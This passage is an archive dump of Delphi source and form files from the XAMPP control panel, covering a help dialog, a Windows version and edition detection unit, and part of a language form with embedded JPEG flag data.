OpenKeyReadOnly('SYSTEM\CurrentControlSet\Control\ProductOptions') then try tmpStr := UpperCase(ReadString('ProductType')); if tmpStr = 'WINNT' then Result := Result + 'Workstation'; if tmpStr = 'SERVERNT' then Result := Result + 'Server'; finally CloseKey; end; finally Free; end; end;{ wProductType<>VER_NT_WORKSTATION } end;{ NTBRes } end;{ VER_PLATFORM_WIN32_NT } VER_PLATFORM_WIN32_WINDOWS: begin if (OSVI.dwMajorVersion = 4) and (OSVI.dwMinorVersion = 0) then begin Result := 'Windows 95 '; if OSVI.szCSDVersion[1] = 'C' then Result := Result + 'OSR2'; end; if (OSVI.dwMajorVersion = 4) and (OSVI.dwMinorVersion = 10) then begin Result := 'Windows 98 '; if OSVI.szCSDVersion[1] = 'A' then Result := Result + 'SE'; end; if (OSVI.dwMajorVersion = 4) and (OSVI.dwMinorVersion = 90) then Result := 'Windows Me'; end;{ VER_PLATFORM_WIN32_WINDOWS } VER_PLATFORM_WIN32s: Result := 'Microsoft Win32s'; else Result := 'Unknown'; end;{ OSVI_NT.dwPlatformId } end;{ GetOSInfo } initialization @GetProductInfo := GetProcAddress(GetModuleHandle('KERNEL32.DLL'), 'GetProductInfo'); end. xampp-control-panel/uHelp.dfm000066600000006275151723641500012233 0ustar00object fHelp: TfHelp Left = 356 Top = 94 Caption = 'Help' ClientHeight = 263 ClientWidth = 476 Color = clBtnFace Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -14 Font.Name = 'Arial' Font.Style = [] OldCreateOrder = False Position = poScreenCenter OnCreate = FormCreate DesignSize = ( 476 263) PixelsPerInch = 120 TextHeight = 16 object lblMainProg: TLabel Left = 10 Top = 16 Width = 319 Height = 25 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Programmed by Steffen Strueber' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -22 Font.Name = 'Arial' Font.Style = [] ParentFont = False end object lblSecondProg: TLabel Left = 9 Top = 40 Width = 267 Height = 25 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Enhanced by hackattack142' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -22 Font.Name = 'Arial' Font.Style = [] ParentFont = False end object lblHelpEng: TLabel Left = 9 Top = 83 Width = 369 Height = 21 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Need Help? Visit the XAMPP forums (English):' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -18 Font.Name = 'Arial' Font.Style = [] ParentFont = False end object lblHelpGer: TLabel Left = 9 Top = 144 Width = 374 Height = 21 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Need Help? Visit the XAMPP forums (German):' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -18 Font.Name = 'Arial' Font.Style = [] ParentFont = False end object lblHelpEngLink: TLabel Left = 8 Top = 112 Width = 373 Height = 19 Caption = 'http://www.apachefriends.org/f/viewforum.php?f=16' Font.Charset = DEFAULT_CHARSET Font.Color = clMenuHighlight Font.Height = -17 Font.Name = 'Arial' Font.Style = [fsUnderline] ParentFont = False OnClick = lblHelpEngLinkClick end object lblHelpGerLink: TLabel Left = 8 Top = 173 Width = 385 Height = 19 Caption = 'http://www.apachefriends.org/f/viewforum.php?f=4' Font.Charset = DEFAULT_CHARSET Font.Color = clMenuHighlight Font.Height = -17 Font.Name = 'Arial' Font.Style = [fsUnderline] ParentFont = False OnClick = lblHelpGerLinkClick end object bHelpClose: TBitBtn Left = 361 Top = 214 Width = 98 Height = 32 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Anchors = [akRight, akBottom] Caption = 'Close' TabOrder = 0 OnClick = bHelpCloseClick end object bReadMe: TButton Left = 224 Top = 214 Width = 114 Height = 32 Caption = 'View ReadMe' TabOrder = 1 OnClick = OpenReadme end end xampp-control-panel/uHelp.pas000066600000003500151723641500012234 0ustar00unit uHelp; interface uses GnuGettext, Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons, Vcl.ExtCtrls, uTools; type TfHelp = class(TForm) lblMainProg: TLabel; bHelpClose: TBitBtn; lblSecondProg: TLabel; lblHelpEng: TLabel; lblHelpGer: TLabel; lblHelpEngLink: TLabel; lblHelpGerLink: TLabel; bReadMe: TButton; procedure bHelpCloseClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure lblHelpEngLinkClick(Sender: TObject); procedure lblHelpGerLinkClick(Sender: TObject); procedure OpenReadme(Sender: TObject); private { Private-Deklarationen } public { Public-Deklarationen } end; var fHelp: TfHelp; implementation {$R *.dfm} procedure TfHelp.bHelpCloseClick(Sender: TObject); begin Close; end; procedure TfHelp.OpenReadme(Sender: TObject); begin if Config.Language = 'en' then ExecuteFile('readme_en.txt','','', SW_SHOW); if Config.Language = 'de' then ExecuteFile('readme_de.txt','','', SW_SHOW); end; procedure TfHelp.FormCreate(Sender: TObject); begin TranslateComponent(Self); end; procedure TfHelp.lblHelpEngLinkClick(Sender: TObject); var App: string; begin if Config.BrowserApp <> '' then begin App := Config.BrowserApp; ExecuteFile(App, lblHelpEngLink.Caption, '', SW_SHOW); end else begin ExecuteFile(lblHelpEngLink.Caption, '', '', SW_SHOW); end; end; procedure TfHelp.lblHelpGerLinkClick(Sender: TObject); var App: string; begin if Config.BrowserApp <> '' then begin App := Config.BrowserApp; ExecuteFile(App, lblHelpGerLink.Caption, '', SW_SHOW); end else begin ExecuteFile(lblHelpGerLink.Caption, '', '', SW_SHOW); end; end; end. xampp-control-panel/uJclSysInfo.pas000066600000054064151723641500013402 0ustar00unit uJclSysInfo; interface uses Winapi.Windows, System.Classes, Windows; // Version Information type TWindowsVersion = (wvUnknown, wvWin95, wvWin95OSR2, wvWin98, wvWin98SE, wvWinME, wvWinNT31, wvWinNT35, wvWinNT351, wvWinNT4, wvWin2000, wvWinXP, wvWin2003, wvWinXP64, wvWin2003R2, wvWinVista, wvWinServer2008, wvWin7, wvWinServer2008R2); TWindowsEdition = (weUnknown, weWinXPHome, weWinXPPro, weWinXPHomeN, weWinXPProN, weWinXPHomeK, weWinXPProK, weWinXPHomeKN, weWinXPProKN, weWinXPStarter, weWinXPMediaCenter, weWinXPTablet, weWinVistaStarter, weWinVistaHomeBasic, weWinVistaHomeBasicN, weWinVistaHomePremium, weWinVistaBusiness, weWinVistaBusinessN, weWinVistaEnterprise, weWinVistaUltimate, weWin7Starter, weWin7HomeBasic, weWin7HomePremium, weWin7Professional, weWin7Enterprise, weWin7Ultimate); TNtProductType = (ptUnknown, ptWorkStation, ptServer, ptAdvancedServer, ptPersonal, ptProfessional, ptDatacenterServer, ptEnterprise, ptWebEdition); TProcessorArchitecture = (paUnknown, // unknown processor pax8632, // x86 32 bit processors (some P4, Celeron, Athlon and older) pax8664, // x86 64 bit processors (latest P4, Celeron and Athlon64) paIA64); // Itanium processors var { in case of additions, don't forget to update initialization section! } IsWin95: Boolean = False; IsWin95OSR2: Boolean = False; IsWin98: Boolean = False; IsWin98SE: Boolean = False; IsWinME: Boolean = False; IsWinNT: Boolean = False; IsWinNT3: Boolean = False; IsWinNT31: Boolean = False; IsWinNT35: Boolean = False; IsWinNT351: Boolean = False; IsWinNT4: Boolean = False; IsWin2K: Boolean = False; IsWinXP: Boolean = False; IsWin2003: Boolean = False; IsWinXP64: Boolean = False; IsWin2003R2: Boolean = False; IsWinVista: Boolean = False; IsWinServer2008: Boolean = False; IsWin7: Boolean = False; IsWinServer2008R2: Boolean = False; const PROCESSOR_ARCHITECTURE_INTEL = 0; {$EXTERNALSYM PROCESSOR_ARCHITECTURE_INTEL} PROCESSOR_ARCHITECTURE_AMD64 = 9; {$EXTERNALSYM PROCESSOR_ARCHITECTURE_AMD64} PROCESSOR_ARCHITECTURE_IA32_ON_WIN64 = 10; {$EXTERNALSYM PROCESSOR_ARCHITECTURE_IA32_ON_WIN64} PROCESSOR_ARCHITECTURE_IA64 = 6; {$EXTERNALSYM PROCESSOR_ARCHITECTURE_IA64} function GetWindowsVersion: TWindowsVersion; function GetWindowsEdition: TWindowsEdition; function NtProductType: TNtProductType; function GetWindowsVersionString: string; function GetWindowsEditionString: string; function GetWindowsProductString: string; function NtProductTypeString: string; function GetWindowsServicePackVersion: Integer; function GetWindowsServicePackVersionString: string; function GetOpenGLVersion(const Win: THandle; out Version, Vendor: AnsiString): Boolean; function GetNativeSystemInfo(var SystemInfo: TSystemInfo): Boolean; function GetProcessorArchitecture: TProcessorArchitecture; function IsWindows64: Boolean; {$ENDIF MSWINDOWS} function GetOSVersionString: string; implementation uses Winapi.Windows, System.Classes, Windows; //=== Version Information ==================================================== { Q159/238 Windows 95 retail, OEM 4.00.950 7/11/95 Windows 95 retail SP1 4.00.950A 7/11/95-12/31/95 OEM Service Release 2 4.00.1111* (4.00.950B) 8/24/96 OEM Service Release 2.1 4.03.1212-1214* (4.00.950B) 8/24/96-8/27/97 OEM Service Release 2.5 4.03.1214* (4.00.950C) 8/24/96-11/18/97 Windows 98 retail, OEM 4.10.1998 5/11/98 Windows 98 Second Edition 4.10.2222A 4/23/99 Windows Millennium 4.90.3000 } { TODO : Distinquish between all these different releases? } var KernelVersionHi: DWORD; function GetWindowsVersion: TWindowsVersion; var TrimmedWin32CSDVersion: string; SystemInfo: TSystemInfo; OSVersionInfoEx: TOSVersionInfoEx; const SM_SERVERR2 = 89; begin Result := wvUnknown; TrimmedWin32CSDVersion := Trim(Win32CSDVersion); case Win32Platform of VER_PLATFORM_WIN32_WINDOWS: case Win32MinorVersion of 0..9: if (TrimmedWin32CSDVersion = 'B') or (TrimmedWin32CSDVersion = 'C') then Result := wvWin95OSR2 else Result := wvWin95; 10..89: // On Windows ME Win32MinorVersion can be 10 (indicating Windows 98 // under certain circumstances (image name is setup.exe). Checking // the kernel version is one way of working around that. if KernelVersionHi = $0004005A then // 4.90.x.x Result := wvWinME else if (TrimmedWin32CSDVersion = 'A') or (TrimmedWin32CSDVersion = 'B') then Result := wvWin98SE else Result := wvWin98; 90: Result := wvWinME; end; VER_PLATFORM_WIN32_NT: case Win32MajorVersion of 3: case Win32MinorVersion of 1: Result := wvWinNT31; 5: Result := wvWinNT35; 51: Result := wvWinNT351; end; 4: Result := wvWinNT4; 5: case Win32MinorVersion of 0: Result := wvWin2000; 1: Result := wvWinXP; 2: begin OSVersionInfoEx.dwOSVersionInfoSize := SizeOf(OSVersionInfoEx); SystemInfo.dwOemId := 0; GetNativeSystemInfo(SystemInfo); if GetSystemMetrics(SM_SERVERR2) <> 0 then Result := wvWin2003R2 else if (SystemInfo.wProcessorArchitecture <> PROCESSOR_ARCHITECTURE_INTEL) and GetVersionEx(OSVersionInfoEx) and (OSVersionInfoEx.wProductType = VER_NT_WORKSTATION) then Result := wvWinXP64 else Result := wvWin2003; end; end; 6: case Win32MinorVersion of 0: begin OSVersionInfoEx.dwOSVersionInfoSize := SizeOf(OSVersionInfoEx); if GetVersionEx(OSVersionInfoEx) and (OSVersionInfoEx.wProductType = VER_NT_WORKSTATION) then Result := wvWinVista else Result := wvWinServer2008; end; 1: begin OSVersionInfoEx.dwOSVersionInfoSize := SizeOf(OSVersionInfoEx); if GetVersionEx(OSVersionInfoEx) and (OSVersionInfoEx.wProductType = VER_NT_WORKSTATION) then Result := wvWin7 else Result := wvWinServer2008R2; end; end; end; end; end; function GetWindowsEdition: TWindowsEdition; const ProductName = 'SOFTWARE\Microsoft\Windows NT\CurrentVersion'; var Edition: string; begin Result := weUnknown; Edition := RegReadStringDef(HKEY_LOCAL_MACHINE, ProductName, 'ProductName', ''); if (pos('Windows XP', Edition) = 1) then begin // Windows XP Editions if (pos('Home Edition N', Edition) > 0) then Result := weWinXPHomeN else if (pos('Professional N', Edition) > 0) then Result := weWinXPProN else if (pos('Home Edition K', Edition) > 0) then Result := weWinXPHomeK else if (pos('Professional K', Edition) > 0) then Result := weWinXPProK else if (pos('Home Edition KN', Edition) > 0) then Result := weWinXPHomeKN else if (pos('Professional KN', Edition) > 0) then Result := weWinXPProKN else if (pos('Home', Edition) > 0) then Result := weWinXPHome else if (pos('Professional', Edition) > 0) then Result := weWinXPPro else if (pos('Starter', Edition) > 0) then Result := weWinXPStarter else if (pos('Media Center', Edition) > 0) then Result := weWinXPMediaCenter else if (pos('Tablet', Edition) > 0) then Result := weWinXPTablet; end else if (pos('Windows Vista', Edition) = 1) then begin // Windows Vista Editions if (pos('Starter', Edition) > 0) then Result := weWinVistaStarter else if (pos('Home Basic N', Edition) > 0) then Result := weWinVistaHomeBasicN else if (pos('Home Basic', Edition) > 0) then Result := weWinVistaHomeBasic else if (pos('Home Premium', Edition) > 0) then Result := weWinVistaHomePremium else if (pos('Business N', Edition) > 0) then Result := weWinVistaBusinessN else if (pos('Business', Edition) > 0) then Result := weWinVistaBusiness else if (pos('Enterprise', Edition) > 0) then Result := weWinVistaEnterprise else if (pos('Ultimate', Edition) > 0) then Result := weWinVistaUltimate; end else if (pos('Windows 7', Edition) = 1) then begin // Windows 7 Editions if (pos('Starter', Edition) > 0) then Result := weWin7Starter else if (pos('Home Basic', Edition) > 0) then Result := weWin7HomeBasic else if (pos('Home Premium', Edition) > 0) then Result := weWin7HomePremium else if (pos('Professional', Edition) > 0) then Result := weWin7Professional else if (pos('Enterprise', Edition) > 0) then Result := weWin7Enterprise else if (pos('Ultimate', Edition) > 0) then Result := weWin7Ultimate; end; end; function NtProductType: TNtProductType; const ProductType = 'SYSTEM\CurrentControlSet\Control\ProductOptions'; var Product: string; OSVersionInfo: TOSVersionInfoEx; SystemInfo: TSystemInfo; begin Result := ptUnknown; ResetMemory(OSVersionInfo, SizeOf(OSVersionInfo)); ResetMemory(SystemInfo, SizeOf(SystemInfo)); OSVersionInfo.dwOSVersionInfoSize := SizeOf(OSVersionInfo); GetNativeSystemInfo(SystemInfo); // Favor documented API over registry if IsWinNT4 and (GetWindowsServicePackVersion >= 6) then begin if GetVersionEx(OSVersionInfo) then begin if (OSVersionInfo.wProductType = VER_NT_WORKSTATION) then Result := ptWorkstation else if (OSVersionInfo.wSuiteMask and VER_SUITE_ENTERPRISE) = VER_SUITE_ENTERPRISE then Result := ptEnterprise else Result := ptServer; end; end else if IsWin2K then begin if GetVersionEx(OSVersionInfo) then begin if OSVersionInfo.wProductType in [VER_NT_SERVER,VER_NT_DOMAIN_CONTROLLER] then begin if (OSVersionInfo.wSuiteMask and VER_SUITE_DATACENTER) <> 0 then Result := ptDatacenterServer else if (OSVersionInfo.wSuiteMask and VER_SUITE_ENTERPRISE) <> 0 then Result := ptAdvancedServer else Result := ptServer; end else Result := ptProfessional; end; end else if IsWinXP64 or IsWin2003 or IsWin2003R2 then // all (5.2) begin if GetVersionEx(OSVersionInfo) then begin if OSVersionInfo.wProductType in [VER_NT_SERVER,VER_NT_DOMAIN_CONTROLLER] then begin if (OSVersionInfo.wSuiteMask and VER_SUITE_DATACENTER) = VER_SUITE_DATACENTER then Result := ptDatacenterServer else if (OSVersionInfo.wSuiteMask and VER_SUITE_ENTERPRISE) = VER_SUITE_ENTERPRISE then Result := ptEnterprise else if (OSVersionInfo.wSuiteMask = VER_SUITE_BLADE) then Result := ptWebEdition else Result := ptServer; end else if (OSVersionInfo.wProductType = VER_NT_WORKSTATION) then Result := ptProfessional; end; end else if IsWinXP or IsWinVista or IsWin7 then // workstation begin if GetVersionEx(OSVersionInfo) then begin if OSVersionInfo.wProductType = VER_NT_WORKSTATION then begin if (OSVersionInfo.wSuiteMask and VER_SUITE_PERSONAL) = VER_SUITE_PERSONAL then Result := ptPersonal else Result := ptProfessional; end; end; end else if IsWinServer2008 or IsWinServer2008R2 then // server begin if OSVersionInfo.wProductType in [VER_NT_SERVER,VER_NT_DOMAIN_CONTROLLER] then begin if (OSVersionInfo.wSuiteMask and VER_SUITE_DATACENTER) = VER_SUITE_DATACENTER then Result := ptDatacenterServer else if (OSVersionInfo.wSuiteMask and VER_SUITE_ENTERPRISE) = VER_SUITE_ENTERPRISE then Result := ptEnterprise else Result := ptServer; end; end; if Result = ptUnknown then begin // Non Windows 2000/XP system or the above method failed, try registry Product := RegReadStringDef(HKEY_LOCAL_MACHINE, ProductType, 'ProductType', ''); if CompareText(Product, 'WINNT') = 0 then Result := ptWorkStation else if CompareText(Product, 'SERVERNT') = 0 then Result := {ptServer} ptAdvancedServer else if CompareText(Product, 'LANMANNT') = 0 then Result := {ptAdvancedServer} ptServer else Result := ptUnknown; end; end; function GetWindowsVersionString: string; begin case GetWindowsVersion of wvWin95: Result := LoadResString(@RsOSVersionWin95); wvWin95OSR2: Result := LoadResString(@RsOSVersionWin95OSR2); wvWin98: Result := LoadResString(@RsOSVersionWin98); wvWin98SE: Result := LoadResString(@RsOSVersionWin98SE); wvWinME: Result := LoadResString(@RsOSVersionWinME); wvWinNT31, wvWinNT35, wvWinNT351: Result := Format(LoadResString(@RsOSVersionWinNT3), [Win32MinorVersion]); wvWinNT4: Result := Format(LoadResString(@RsOSVersionWinNT4), [Win32MinorVersion]); wvWin2000: Result := LoadResString(@RsOSVersionWin2000); wvWinXP: Result := LoadResString(@RsOSVersionWinXP); wvWin2003: Result := LoadResString(@RsOSVersionWin2003); wvWin2003R2: Result := LoadResString(@RsOSVersionWin2003R2); wvWinXP64: Result := LoadResString(@RsOSVersionWinXP64); wvWinVista: Result := LoadResString(@RsOSVersionWinVista); wvWinServer2008: Result := LoadResString(@RsOSVersionWinServer2008); wvWin7: Result := LoadResString(@RsOSVersionWin7); wvWinServer2008R2: Result := LoadResString(@RsOSVersionWinServer2008R2); else Result := ''; end; end; function GetWindowsEditionString: string; begin case GetWindowsEdition of weWinXPHome: Result := LoadResString(@RsEditionWinXPHome); weWinXPPro: Result := LoadResString(@RsEditionWinXPPro); weWinXPHomeN: Result := LoadResString(@RsEditionWinXPHomeN); weWinXPProN: Result := LoadResString(@RsEditionWinXPProN); weWinXPHomeK: Result := LoadResString(@RsEditionWinXPHomeK); weWinXPProK: Result := LoadResString(@RsEditionWinXPProK); weWinXPHomeKN: Result := LoadResString(@RsEditionWinXPHomeKN); weWinXPProKN: Result := LoadResString(@RsEditionWinXPProKN); weWinXPStarter: Result := LoadResString(@RsEditionWinXPStarter); weWinXPMediaCenter: Result := LoadResString(@RsEditionWinXPMediaCenter); weWinXPTablet: Result := LoadResString(@RsEditionWinXPTablet); weWinVistaStarter: Result := LoadResString(@RsEditionWinVistaStarter); weWinVistaHomeBasic: Result := LoadResString(@RsEditionWinVistaHomeBasic); weWinVistaHomeBasicN: Result := LoadResString(@RsEditionWinVistaHomeBasicN); weWinVistaHomePremium: Result := LoadResString(@RsEditionWinVistaHomePremium); weWinVistaBusiness: Result := LoadResString(@RsEditionWinVistaBusiness); weWinVistaBusinessN: Result := LoadResString(@RsEditionWinVistaBusinessN); weWinVistaEnterprise: Result := LoadResString(@RsEditionWinVistaEnterprise); weWinVistaUltimate: Result := LoadResString(@RsEditionWinVistaUltimate); weWin7Starter: Result := LoadResString(@RsEditionWin7Starter); weWin7HomeBasic: Result := LoadResString(@RsEditionWin7HomeBasic); weWin7HomePremium: Result := LoadResString(@RsEditionWin7HomePremium); weWin7Professional: Result := LoadResString(@RsEditionWin7Professional); weWin7Enterprise: Result := LoadResString(@RsEditionWin7Enterprise); weWin7Ultimate: Result := LoadResString(@RsEditionWin7Ultimate); else Result := ''; end; end; function GetWindowsProductString: string; begin Result := GetWindowsVersionString; if (GetWindowsEditionString <> '') then Result := Result + ' ' + GetWindowsEditionString; end; function NtProductTypeString: string; begin case NtProductType of ptWorkStation: Result := LoadResString(@RsProductTypeWorkStation); ptServer: Result := LoadResString(@RsProductTypeServer); ptAdvancedServer: Result := LoadResString(@RsProductTypeAdvancedServer); ptPersonal: Result := LoadResString(@RsProductTypePersonal); ptProfessional: Result := LoadResString(@RsProductTypeProfessional); ptDatacenterServer: Result := LoadResString(@RsProductTypeDatacenterServer); ptEnterprise: Result := LoadResString(@RsProductTypeEnterprise); ptWebEdition: Result := LoadResString(@RsProductTypeWebEdition); else Result := ''; end; end; function GetWindowsServicePackVersion: Integer; const RegWindowsControl = 'SYSTEM\CurrentControlSet\Control\Windows'; var SP: Integer; VersionInfo: TOSVersionInfoEx; begin Result := 0; if (Win32Platform = VER_PLATFORM_WIN32_NT) and (Win32MajorVersion >= 5) then begin ResetMemory(VersionInfo, SizeOf(VersionInfo)); VersionInfo.dwOSVersionInfoSize := SizeOf(VersionInfo); if GetVersionEx(VersionInfo) then Result := VersionInfo.wServicePackMajor; end else begin SP := RegReadIntegerDef(HKEY_LOCAL_MACHINE, RegWindowsControl, 'CSDVersion', 0); Result := StrToInt(IntToHex(SP, 4)) div 100; end; end; function GetWindowsServicePackVersionString: string; var SP: Integer; begin SP := GetWindowsServicePackVersion; if SP > 0 then Result := Format(LoadResString(@RsSPInfo), [SP]) else Result := ''; end; function GetNativeSystemInfo(var SystemInfo: TSystemInfo): Boolean; type TGetNativeSystemInfo = procedure (var SystemInfo: TSystemInfo); stdcall; var LibraryHandle: HMODULE; _GetNativeSystemInfo: TGetNativeSystemInfo; begin Result := False; LibraryHandle := GetModuleHandle(kernel32); if LibraryHandle <> 0 then begin _GetNativeSystemInfo := GetProcAddress(LibraryHandle,'GetNativeSystemInfo'); if Assigned(_GetNativeSystemInfo) then begin _GetNativeSystemInfo(SystemInfo); Result := True; end else GetSystemInfo(SystemInfo); end else GetSystemInfo(SystemInfo); end; function GetProcessorArchitecture: TProcessorArchitecture; var ASystemInfo: TSystemInfo; begin ASystemInfo.dwOemId := 0; GetNativeSystemInfo(ASystemInfo); case ASystemInfo.wProcessorArchitecture of PROCESSOR_ARCHITECTURE_INTEL: Result := pax8632; PROCESSOR_ARCHITECTURE_IA64: Result := paIA64; PROCESSOR_ARCHITECTURE_AMD64: Result := pax8664; else Result := paUnknown; end; end; function IsWindows64: Boolean; var ASystemInfo: TSystemInfo; begin ASystemInfo.dwOemId := 0; GetNativeSystemInfo(ASystemInfo); Result := ASystemInfo.wProcessorArchitecture in [PROCESSOR_ARCHITECTURE_IA64,PROCESSOR_ARCHITECTURE_AMD64]; end; {$ENDIF MSWINDOWS} function GetOSVersionString: string; {$IFDEF UNIX} var MachineInfo: utsname; begin uname(MachineInfo); Result := Format('%s %s', [MachineInfo.sysname, MachineInfo.release]); end; {$ENDIF UNIX} {$IFDEF MSWINDOWS} begin Result := Format('%s %s', [GetWindowsVersionString, GetWindowsServicePackVersionString]); end; {$ENDIF MSWINDOWS} //=== Initialization/Finalization ============================================ procedure InitSysInfo; var SystemInfo: TSystemInfo; Kernel32FileName: string; VerFixedFileInfo: TVSFixedFileInfo; begin { processor information related initialization } ResetMemory(SystemInfo, SizeOf(SystemInfo)); GetSystemInfo(SystemInfo); ProcessorCount := SystemInfo.dwNumberOfProcessors; AllocGranularity := SystemInfo.dwAllocationGranularity; PageSize := SystemInfo.dwPageSize; { Windows version information } IsWinNT := Win32Platform = VER_PLATFORM_WIN32_NT; Kernel32FileName := GetModulePath(GetModuleHandle(kernel32)); VerFixedFileInfo.dwFileDateLS := 0; if (not IsWinNT) and VersionFixedFileInfo(Kernel32FileName, VerFixedFileInfo) then KernelVersionHi := VerFixedFileInfo.dwProductVersionMS else KernelVersionHi := 0; case GetWindowsVersion of wvUnknown: ; wvWin95: IsWin95 := True; wvWin95OSR2: IsWin95OSR2 := True; wvWin98: IsWin98 := True; wvWin98SE: IsWin98SE := True; wvWinME: IsWinME := True; wvWinNT31: begin IsWinNT3 := True; IsWinNT31 := True; end; wvWinNT35: begin IsWinNT3 := True; IsWinNT35 := True; end; wvWinNT351: begin IsWinNT3 := True; IsWinNT35 := True; IsWinNT351 := True; end; wvWinNT4: IsWinNT4 := True; wvWin2000: IsWin2K := True; wvWinXP: IsWinXP := True; wvWin2003: IsWin2003 := True; wvWinXP64: IsWinXP64 := True; wvWin2003R2: IsWin2003R2 := True; wvWinVista: IsWinVista := True; wvWinServer2008: IsWinServer2008 := True; wvWin7: IsWin7 := True; wvWinServer2008R2: IsWinServer2008R2 := True; end; end; procedure FinalizeSysInfo; begin UnloadSystemResourcesMeterLib; end; initialization InitSysInfo; {$IFDEF UNITVERSIONING} RegisterUnitVersion(HInstance, UnitVersioning); {$ENDIF UNITVERSIONING} finalization {$IFDEF UNITVERSIONING} UnregisterUnitVersion(HInstance); {$ENDIF UNITVERSIONING} FinalizeSysInfo; end. xampp-control-panel/uLanguage.dfm000066600000031715151723641500013063 0ustar00object fLanguage: TfLanguage Left = 471 Top = 128 BorderStyle = bsToolWindow Caption = 'Language' ClientHeight = 178 ClientWidth = 279 Color = clWhite DoubleBuffered = True Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -14 Font.Name = 'Arial' Font.Style = [] KeyPreview = True OldCreateOrder = False Position = poScreenCenter OnCreate = FormCreate OnKeyPress = FormKeyPress OnShow = FormShow DesignSize = ( 279 178) PixelsPerInch = 120 TextHeight = 16 object gbOptions: TGroupBox Left = 10 Top = 10 Width = 258 Height = 117 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 TabOrder = 0 object ImgEn: TImage Left = 16 Top = 21 Width = 80 Height = 42 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 AutoSize = True Picture.Data = { 0A544A504547496D6167654A070000FFD8FFE000104A46494600010101004800 480000FFDB0043000503040404030504040405050506070C08070707070F0B0B 090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F131722 24221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E 1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E 1E1E1E1E1E1E1E1E1E1E1E1E1EFFC0001108002A005003012200021101031101 FFC4001F0000010501010101010100000000000000000102030405060708090A 0BFFC400B5100002010303020403050504040000017D01020300041105122131 410613516107227114328191A1082342B1C11552D1F02433627282090A161718 191A25262728292A3435363738393A434445464748494A535455565758595A63 6465666768696A737475767778797A838485868788898A92939495969798999A A2A3A4A5A6A7A8A9AAB2B3B4B5B6B7B8B9BAC2C3C4C5C6C7C8C9CAD2D3D4D5D6 D7D8D9DAE1E2E3E4E5E6E7E8E9EAF1F2F3F4F5F6F7F8F9FAFFC4001F01000301 01010101010101010000000000000102030405060708090A0BFFC400B5110002 0102040403040705040400010277000102031104052131061241510761711322 328108144291A1B1C109233352F0156272D10A162434E125F11718191A262728 292A35363738393A434445464748494A535455565758595A636465666768696A 737475767778797A82838485868788898A92939495969798999AA2A3A4A5A6A7 A8A9AAB2B3B4B5B6B7B8B9BAC2C3C4C5C6C7C8C9CAD2D3D4D5D6D7D8D9DAE2E3 E4E5E6E7E8E9EAF2F3F4F5F6F7F8F9FAFFDA000C03010002110311003F00F13B 3B589EC7497BBB2B48E764CE9EB185617EFF0068C1170778D800C8CF1C01F5A9 CD9D9E752FF46B6CFF00CC57089FF12FFF00490BFE8DF3FEF38C0EFC13F5A6E8 E863D1E348EDA7B44BB8156E2290B16D5C7DA06120F90ED2300707F84FAE2AD9 1266118907D8B3F651F37FC48BFD2BFE5E7E4F9FBF5F51E9B6BED9B77FEBFAFE BE47CE25FD7F5FD7E656167679D3716D6D9FF9856513FE261FE9257FD27E7FDD F191DB803EB505E5AC4963AB3DA595A493AA67505902A8B07FB4600B73BCEF04 60679E09FAD688126661890FDB71F6A1F37FC4F7FD2BFE5DFE4F93B74F43EB8A A7AC2193489124B69EED2D2065B78A32C1B4806E0E527F906E2724727F887A62 84DDFF00AFEBFAF9034BFAFEBFAFC4F7FF00F857FF00017FE8A7DE7FDF49FF00 C6E8FF00857FF017FE8A7DE7FDF49FFC6E9FFF00099FECFDFF0044EB51FF00BE 7FFB6D1FF099FECFDFF44EB51FFBE7FF00B6D7E7DEEF91FBB7363BFE9FFF00E5 319FF0AFFE02FF00D14FBCFF00BE93FF008DD1FF000AFF00E02FFD14FBCFFBE9 3FF8DD3FFE133FD9FBFE89D6A3FF007CFF00F6DA3FE133FD9FBFE89D6A3FF7CF FF006DA3DDF20E6C77FD3FFF00CA633FE15FFC05FF00A29F79FF007D27FF001B A3FE15FF00C05FFA29F79FF7D27FF1BA7FFC267FB3F7FD13AD47FEF9FF00EDB4 7FC267FB3F7FD13AD47FEF9FFEDB47BBE41CD8EFFA7FFF0094CF27B3F867F106 DACACEDFFE109F13CC658C25C3CBA6B3358E26DDBAD8E78240C9E9C923DEA63F 0EBE20667FF8A0FC49FE8DFF001EFF00F12C6FF898FEFF007FFA573CFCBE99E8 07BD7D11FF0008BFED17FF0043DE93F927FF0019A3FE117FDA2FFE87BD27F24F FE335EF7F6DD5FE43F3BFF0055F0FF00F4170FBDFF00F227CEE3E1D7C40CC19F 01F893FD27FE3E3FE258DFF12EFDFEFF00F45E78F97D71D48F7A86F3E19FC41B 9B2BCB7FF8423C4F098A3296EF169ACAD7D99B76EB939E480723AF200F7AFA3B FE117FDA2FFE87BD27F24FFE3347FC22FF00B45FFD0F7A4FE49FFC668FEDBABF C81FEABE1FFE82E1F7BFFE4487FE13FF008C1FF44760FF00BF0FFE347FC27FF1 83FE88EC1FF7E1FF00C6A6FF00845FF68BFF00A1EF49FC93FF008CD1FF0008BF ED17FF0043DE93F927FF0019AF13DEF3FC0FABB60BFE9C7FE055087FE13FF8C1 FF0044760FFBF0FF00E347FC27FF00183FE88EC1FF007E1FFC6A6FF845FF0068 BFFA1EF49FC93FF8CD1FF08BFED17FF43DE93F927FF19A3DEF3FC02D82FF00A7 